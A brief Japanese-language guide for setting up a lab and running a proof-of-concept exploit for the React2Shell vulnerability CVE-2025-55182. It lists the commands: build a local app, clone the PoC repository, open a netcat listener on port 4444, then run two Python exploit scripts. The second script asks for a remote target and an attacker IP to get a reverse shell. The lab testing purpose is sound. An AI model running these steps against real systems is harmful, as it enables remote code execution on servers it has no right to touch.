
PoCとラボ環境のセットアップ
POC およびラボのセットアップ
npm create [email protected] react2shell-lab
デフォルトのままで問題ありません。名前はお好みで設定してください
git clone https://github.com/timsonner/React2Shell-CVE-2025-55182.git
npm install
cd react2shell-lab
npm run dev
nc -nlvp 4444
python3 react2shell-exploit-1.py
このエクスプロイトは localhost 設定のテストに適しています。リバースシェル用のもう一方のペイロードのコメントを解除してください...
python3 react2shell-exploit-2.py
このバージョンでは、リモートターゲットと攻撃者の IP およびポートの入力をユーザーに求めます。また、このバージョンでは POST ボディ (body_parts) も若干簡略化されています。
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained